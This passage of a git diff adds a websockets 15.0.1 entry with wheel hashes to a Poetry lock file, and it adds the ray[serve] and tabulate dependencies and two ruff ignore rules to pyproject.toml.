">=0.9.1,<1.2.0" +[[package]] +name = "websockets" +version = "15.0.1" +description = "An implementation of the WebSocket Protocol (RFC 6455 & 7692)" +optional = false +python-versions = ">=3.9" +groups = ["main"] +files = [ + {file = "websockets-15.0.1-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:d63efaa0cd96cf0c5fe4d581521d9fa87744540d4bc999ae6e08595a1014b45b"}, + {file = "websockets-15.0.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:ac60e3b188ec7574cb761b08d50fcedf9d77f1530352db4eef1707fe9dee7205"}, + {file = "websockets-15.0.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:5756779642579d902eed757b21b0164cd6fe338506a8083eb58af5c372e39d9a"}, + {file = "websockets-15.0.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0fdfe3e2a29e4db3659dbd5bbf04560cea53dd9610273917799f1cde46aa725e"}, + {file = "websockets-15.0.1-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:4c2529b320eb9e35af0fa3016c187dffb84a3ecc572bcee7c3ce302bfeba52bf"}, + {file = "websockets-15.0.1-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ac1e5c9054fe23226fb11e05a6e630837f074174c4c2f0fe442996112a6de4fb"}, + {file = "websockets-15.0.1-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:5df592cd503496351d6dc14f7cdad49f268d8e618f80dce0cd5a36b93c3fc08d"}, + {file = "websockets-15.0.1-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:0a34631031a8f05657e8e90903e656959234f3a04552259458aac0b0f9ae6fd9"}, + {file = "websockets-15.0.1-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:3d00075aa65772e7ce9e990cab3ff1de702aa09be3940d1dc88d5abf1ab8a09c"}, + {file = "websockets-15.0.1-cp310-cp310-win32.whl", hash = "sha256:1234d4ef35db82f5446dca8e35a7da7964d02c127b095e172e54397fb6a6c256"}, + {file = "websockets-15.0.1-cp310-cp310-win_amd64.whl", hash = "sha256:39c1fec2c11dc8d89bba6b2bf1556af381611a173ac2b511cf7231622058af41"}, + {file = "websockets-15.0.1-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:823c248b690b2fd9303ba00c4f66cd5e2d8c3ba4aa968b2779be9532a4dad431"}, + {file = "websockets-15.0.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:678999709e68425ae2593acf2e3ebcbcf2e69885a5ee78f9eb80e6e371f1bf57"}, + {file = "websockets-15.0.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:d50fd1ee42388dcfb2b3676132c78116490976f1300da28eb629272d5d93e905"}, + {file = "websockets-15.0.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d99e5546bf73dbad5bf3547174cd6cb8ba7273062a23808ffea025ecb1cf8562"}, + {file = "websockets-15.0.1-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:66dd88c918e3287efc22409d426c8f729688d89a0c587c88971a0faa2c2f3792"}, + {file = "websockets-15.0.1-cp311-cp311-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8dd8327c795b3e3f219760fa603dcae1dcc148172290a8ab15158cf85a953413"}, + {file = "websockets-15.0.1-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:8fdc51055e6ff4adeb88d58a11042ec9a5eae317a0a53d12c062c8a8865909e8"}, + {file = "websockets-15.0.1-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:693f0192126df6c2327cce3baa7c06f2a117575e32ab2308f7f8216c29d9e2e3"}, + {file = "websockets-15.0.1-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:54479983bd5fb469c38f2f5c7e3a24f9a4e70594cd68cd1fa6b9340dadaff7cf"}, + {file = "websockets-15.0.1-cp311-cp311-win32.whl", hash = "sha256:16b6c1b3e57799b9d38427dda63edcbe4926352c47cf88588c0be4ace18dac85"}, + {file = "websockets-15.0.1-cp311-cp311-win_amd64.whl", hash = "sha256:27ccee0071a0e75d22cb35849b1db43f2ecd3e161041ac1ee9d2352ddf72f065"}, + {file = "websockets-15.0.1-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:3e90baa811a5d73f3ca0bcbf32064d663ed81318ab225ee4f427ad4e26e5aff3"}, + {file = "websockets-15.0.1-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:592f1a9fe869c778694f0aa806ba0374e97648ab57936f092fd9d87f8bc03665"}, + {file = "websockets-15.0.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:0701bc3cfcb9164d04a14b149fd74be7347a530ad3bbf15ab2c678a2cd3dd9a2"}, + {file = "websockets-15.0.1-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e8b56bdcdb4505c8078cb6c7157d9811a85790f2f2b3632c7d1462ab5783d215"}, + {file = "websockets-15.0.1-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:0af68c55afbd5f07986df82831c7bff04846928ea8d1fd7f30052638788bc9b5"}, + {file = "websockets-15.0.1-cp312-cp312-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:64dee438fed052b52e4f98f76c5790513235efaa1ef7f3f2192c392cd7c91b65"}, + {file = "websockets-15.0.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:d5f6b181bb38171a8ad1d6aa58a67a6aa9d4b38d0f8c5f496b9e42561dfc62fe"}, + {file = "websockets-15.0.1-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:5d54b09eba2bada6011aea5375542a157637b91029687eb4fdb2dab11059c1b4"}, + {file = "websockets-15.0.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:3be571a8b5afed347da347bfcf27ba12b069d9d7f42cb8c7028b5e98bbb12597"}, + {file = "websockets-15.0.1-cp312-cp312-win32.whl", hash = "sha256:c338ffa0520bdb12fbc527265235639fb76e7bc7faafbb93f6ba80d9c06578a9"}, + {file = "websockets-15.0.1-cp312-cp312-win_amd64.whl", hash = "sha256:fcd5cf9e305d7b8338754470cf69cf81f420459dbae8a3b40cee57417f4614a7"}, + {file = "websockets-15.0.1-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:ee443ef070bb3b6ed74514f5efaa37a252af57c90eb33b956d35c8e9c10a1931"}, + {file = "websockets-15.0.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:5a939de6b7b4e18ca683218320fc67ea886038265fd1ed30173f5ce3f8e85675"}, + {file = "websockets-15.0.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:746ee8dba912cd6fc889a8147168991d50ed70447bf18bcda7039f7d2e3d9151"}, + {file = "websockets-15.0.1-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:595b6c3969023ecf9041b2936ac3827e4623bfa3ccf007575f04c5a6aa318c22"}, + {file = "websockets-15.0.1-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:3c714d2fc58b5ca3e285461a4cc0c9a66bd0e24c5da9911e30158286c9b5be7f"}, + {file = "websockets-15.0.1-cp313-cp313-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0f3c1e2ab208db911594ae5b4f79addeb3501604a165019dd221c0bdcabe4db8"}, + {file = "websockets-15.0.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:229cf1d3ca6c1804400b0a9790dc66528e08a6a1feec0d5040e8b9eb14422375"}, + {file = "websockets-15.0.1-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:756c56e867a90fb00177d530dca4b097dd753cde348448a1012ed6c5131f8b7d"}, + {file = "websockets-15.0.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:558d023b3df0bffe50a04e710bc87742de35060580a293c2a984299ed83bc4e4"}, + {file = "websockets-15.0.1-cp313-cp313-win32.whl", hash = "sha256:ba9e56e8ceeeedb2e080147ba85ffcd5cd0711b89576b83784d8605a7df455fa"}, + {file = "websockets-15.0.1-cp313-cp313-win_amd64.whl", hash = "sha256:e09473f095a819042ecb2ab9465aee615bd9c2028e4ef7d933600a8401c79561"}, + {file = "websockets-15.0.1-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:5f4c04ead5aed67c8a1a20491d54cdfba5884507a48dd798ecaf13c74c4489f5"}, + {file = "websockets-15.0.1-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:abdc0c6c8c648b4805c5eacd131910d2a7f6455dfd3becab248ef108e89ab16a"}, + {file = "websockets-15.0.1-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:a625e06551975f4b7ea7102bc43895b90742746797e2e14b70ed61c43a90f09b"}, + {file = "websockets-15.0.1-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d591f8de75824cbb7acad4e05d2d710484f15f29d4a915092675ad3456f11770"}, + {file = "websockets-15.0.1-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:47819cea040f31d670cc8d324bb6435c6f133b8c7a19ec3d61634e62f8d8f9eb"}, + {file = "websockets-15.0.1-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ac017dd64572e5c3bd01939121e4d16cf30e5d7e110a119399cf3133b63ad054"}, + {file = "websockets-15.0.1-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:4a9fac8e469d04ce6c25bb2610dc535235bd4aa14996b4e6dbebf5e007eba5ee"}, + {file = "websockets-15.0.1-cp39-cp39-musllinux_1_2_i686.whl", hash = "sha256:363c6f671b761efcb30608d24925a382497c12c506b51661883c3e22337265ed"}, + {file = "websockets-15.0.1-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:2034693ad3097d5355bfdacfffcbd3ef5694f9718ab7f29c29689a9eae841880"}, + {file = "websockets-15.0.1-cp39-cp39-win32.whl", hash = "sha256:3b1ac0d3e594bf121308112697cf4b32be538fb1444468fb0a6ae4feebc83411"}, + {file = "websockets-15.0.1-cp39-cp39-win_amd64.whl", hash = "sha256:b7643a03db5c95c799b89b31c036d5f27eeb4d259c798e878d6937d71832b1e4"}, + {file = "websockets-15.0.1-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:0c9e74d766f2818bb95f84c25be4dea09841ac0f734d1966f415e4edfc4ef1c3"}, + {file = "websockets-15.0.1-pp310-pypy310_pp73-macosx_11_0_arm64.whl", hash = "sha256:1009ee0c7739c08a0cd59de430d6de452a55e42d6b522de7aa15e6f67db0b8e1"}, + {file = "websockets-15.0.1-pp310-pypy310_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:76d1f20b1c7a2fa82367e04982e708723ba0e7b8d43aa643d3dcd404d74f1475"}, + {file = "websockets-15.0.1-pp310-pypy310_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:f29d80eb9a9263b8d109135351caf568cc3f80b9928bccde535c235de55c22d9"}, + {file = "websockets-15.0.1-pp310-pypy310_pp73-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b359ed09954d7c18bbc1680f380c7301f92c60bf924171629c5db97febb12f04"}, + {file = "websockets-15.0.1-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:cad21560da69f4ce7658ca2cb83138fb4cf695a2ba3e475e0559e05991aa8122"}, + {file = "websockets-15.0.1-pp39-pypy39_pp73-macosx_10_15_x86_64.whl", hash = "sha256:7f493881579c90fc262d9cdbaa05a6b54b3811c2f300766748db79f098db9940"}, + {file = "websockets-15.0.1-pp39-pypy39_pp73-macosx_11_0_arm64.whl", hash = "sha256:47b099e1f4fbc95b701b6e85768e1fcdaf1630f3cbe4765fa216596f12310e2e"}, + {file = "websockets-15.0.1-pp39-pypy39_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:67f2b6de947f8c757db2db9c71527933ad0019737ec374a8a6be9a956786aaf9"}, + {file = "websockets-15.0.1-pp39-pypy39_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d08eb4c2b7d6c41da6ca0600c077e93f5adcfd979cd777d747e9ee624556da4b"}, + {file = "websockets-15.0.1-pp39-pypy39_pp73-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4b826973a4a2ae47ba357e4e82fa44a463b8f168e1ca775ac64521442b19e87f"}, + {file = "websockets-15.0.1-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:21c1fa28a6a7e3cbdc171c694398b6df4744613ce9b36b1a498e816787e28123"}, + {file = "websockets-15.0.1-py3-none-any.whl", hash = "sha256:f7a866fbc1e97b5c617ee4116daaa09b722101d4a3c170c787450ba409f9736f"}, + {file = "websockets-15.0.1.tar.gz", hash = "sha256:82544de02076bafba038ce055ee6412d68da13ab47f0c60cab827346de828dee"}, +] + [[package]] name = "win32-setctime" version = "1.2.0" @@ -6083,4 +6887,4 @@ training = ["transformers"] [metadata] lock-version = "2.1" python-versions = ">=3.10,<3.14" -content-hash = "608bdd485f2f8fb2d4390f37791f6fdd484c4ca4aa5ef661346c68dd3038f726" +content-hash = "92cacf55982a4f055b1a185546260d51a78b1225b5c5247230f12c1ff24f46a6" diff --git a/pyproject.toml b/pyproject.toml index caaba069..e182eb99 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -32,6 +32,8 @@ soundfile = { version = "^0.13.1", optional = true } moviepy = { version = "^2.1.2", optional = true } pillow = { version = "^11.2.1", optional = true } presidio-analyzer = "^2.2.359" +ray = {extras = ["serve"], version = "^2.48.0"} +tabulate = "^0.9.0" [tool.poetry.extras] @@ -120,6 +122,8 @@ ignore = [ "FIX002", # contains todo, consider fixing "COM812", # disabled for formatting "ISC001", # disabled for formatting + "BLE001", # disabled for formatting + "S101", # allow use of assert ] [tool.ruff.format]